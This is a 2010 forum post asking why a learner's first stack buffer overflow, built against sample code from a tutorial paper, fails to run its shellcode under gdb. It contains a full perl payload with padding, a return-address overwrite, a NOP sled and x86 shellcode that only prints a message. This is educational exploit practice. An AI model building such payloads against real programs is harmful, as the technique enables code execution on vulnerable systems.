Posted: Thu Mar 25, 2010 10:05 pm Post subject: Buffer overflow question
I"ve been trying to write my first buffer overflow and come across some problems. This is being done on a public piece of code in a buffer overflow paper and is completely non-malicious
I discovered where past my buffer the EIP lies and overwrote it with an address pointing to a series of NOPs on the stack, followed by a piece of shellcode I found on the internet written to print the string "now I pown your computer"
What baffles me is why the program (under gdb) does not seem to be jumping to the shellcode or executing it. Following is a little output from gdb showing my situation.
The string I used to overflow the buffer and overwrite the EIP is:
perl -e 'print "A"x268, "\xf8\xf2\xff\xbf", "\x90"x30, "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x18\xcd", "\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x6e\x6f\x77\x20", "\x49\x20\x70\x30\x77\x6e\x20\x79\x6f\x75\x72\x20\x63\x6f\x6d\x70\x75\x74", "\x65\x72"' > input
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